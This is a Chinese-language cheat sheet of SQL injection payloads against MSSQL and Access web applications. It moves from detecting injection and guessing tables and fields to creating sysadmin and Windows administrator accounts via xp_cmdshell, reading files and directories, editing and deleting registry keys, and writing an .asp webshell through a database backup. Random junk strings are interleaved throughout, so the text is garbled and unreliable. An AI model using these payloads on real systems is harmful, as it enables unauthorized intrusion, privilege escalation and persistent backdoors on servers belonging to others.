1.判断是否有注入;and 1=1 ;and 1=2 &_"ORqn&
2.初步判断是否是mssql ;and user>0 WW//heJe-
[3t0M5x w
3.注入参数是字符'and [查询条件] and ''=' Dh
hG$
Ef2Yl
4.搜索时没过滤参数的'and [查询条件] and '%25'=' XMt
u "K
wVx,JL5Jr
5.判断数据库系统 =LlLE<X"%x
FWuw/b$
;and (select count(*) from sysobjects)>0 mssql /Jh1rck
i/NDWVFD
;and (select count(*) from msysobjects)>0 access S:/{
7n\ ThfH{
tlDYk
6yE'/VB<
6.猜数据库 ;and (select Count(*) from [数据库名])>0 ;$vLq&(}
}czsa_
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 ctp?y
"Z;~Y=hC13
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 w?kGi>7E
[dl+:P:zc
9.(1)猜字段的ascii值(access) Ee{ `Y0
PXV)NC
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ETM2p1ru0
K@q&HV"'.
(2)猜字段的ascii值(mssql) j*tk(o}qG
bsB},pc
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 RTK}mhnV
Vd,' s
10.测试权限结构(mssql) ID)^vwn
2$M,*Dnr
24//21m
DH:J
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- E [S?
b=^
q<n[.u1@
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- F;#zN
h aCKv
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- cI2Fpf`2Wj
ovo/!YJ2
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 5QAdcEcN@O
0Y7$d`
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- B1E$v(P3M
NeHx2m+
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- BYS lKTh
os[ZIHph
;and 1=(select IS_MEMBER('db_owner'));-- L~IE,4
H#+\nT2m
O#vn)+Y,*
q %>7L<r
11.添加mssql和系统的帐户 @|BD|{k
GMz8B-vk
;exec master.dbo.sp_addlogin username;-- PkTfJQP8
;exec master.dbo.sp_password null,username,password;-- J7:9_/e0T
cA<<&C
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- H#35@HF*o
wtSvJI~o)
;exec master.dbo.xp_cmdshell 'net user username password Dv@PAnk3C
{-HDkG' 8
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- s2^B(wP
sm1;MF]/u
;exec master.dbo.xp_cmdshell 'net user username password /add';-- k=?^){[We
Jn=42Q:>
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- \]I
8"x9#kyU<3
(_K_`5d;QI
)Ob]T{GY
12.(1)遍历目录 X'f)7RbT
FqwIJ|ct
;create table dirs(paths varchar(100), id int) \ZMP_UU(
Z ] '>
;insert dirs exec master.dbo.xp_dirtree 'c:\' Cc!J1)
s O=4IBE
;and (select top 1 paths from dirs)>0 |H
W(
vA
4@6<
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) W .U+.hR
je,c7ZFO
l x e`u}[
TiyUr [
(2)遍历目录 m2(E>raV6
DVh)w}v
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- <4c%Q)
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 pA.._8(t
oSY7IIf%L
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 -(9O6)Rs$
X'x3esw w
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 D,Lp|V
\,R!S /R#
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 MU1E_"Z)
F;P5D<
-IU4#s
o\4CoeG
13.mssql中的存储过程 BxdX WO
?ok)>P
xp_regenumvalues 注册表根键, 子键 w>[T&0-N
>
H BJk:
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 n(>C'<otj
&RW`W)0;
xp_regread 根键,子键,键值名 2bLI%gg3
r+S;B[Vd
;exec xp_regread @}DFp`~5|
>F[GVmC
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 KQ{Lt?S
a8Uk[^5
xp_regwrite 根键,子键, 值名, 值类型, 值 uE`r /=4
{q,?<zBzu
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 XQ?fJWLU
\GL*0NJ
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 b+{r!D}~
\}#@9=
xp_regdeletevalue 根键,子键,值名 Z5B/|{
MDHb'<o?y
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 Y5Z!og
l^W uS|G[
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 MQ` %``
HCj>,^<h
mI"D(bx\
` 1+%}}!$u
14.mssql的backup创建webshell w"8V0z
~}Z'0W)Q`z
use model % (<(Y
=7
w>wW-
create table cmd(str image); Wp[9beI*M
{DwIjy31T
insert into cmd(str) values (''); ?pG/m%[
=45W\
backup database model to disk='c:\l.asp'; kRlA4h1u_$
{kL&Rv%'
3-|3`(
=6\LIbO
15.mssql内置函数 .z-UOyer
UpfZi9v?W
;and (select @@version)>0 获得Windows的版本号 g_aCHEFBv
x[X`a
;and user_name()='dbo' 判断当前系统的连接用户是不是sa vHcqEV|P/n
1~\M!SQ)
;and (select user_name())>0 爆当前系统的连接用户 |m;L?)F<
ER^QV(IvP8
;and (select db_name())>0 得到当前连接的数据库 xu\eX x6H
n]y EdL/1
ashar&'
$1Z6\G O
16.简洁的webshell ;:]\KJm}?
cyQBqG
use model =a$Oecg?
}k7'"`#?"
create table cmd(str image); mgQIhXH5L
vzXag*0
insert into cmd(str) values (''); ]
fwZAU
{(tHk_q
backup database model to disk='g:\wwwtest\l.asp';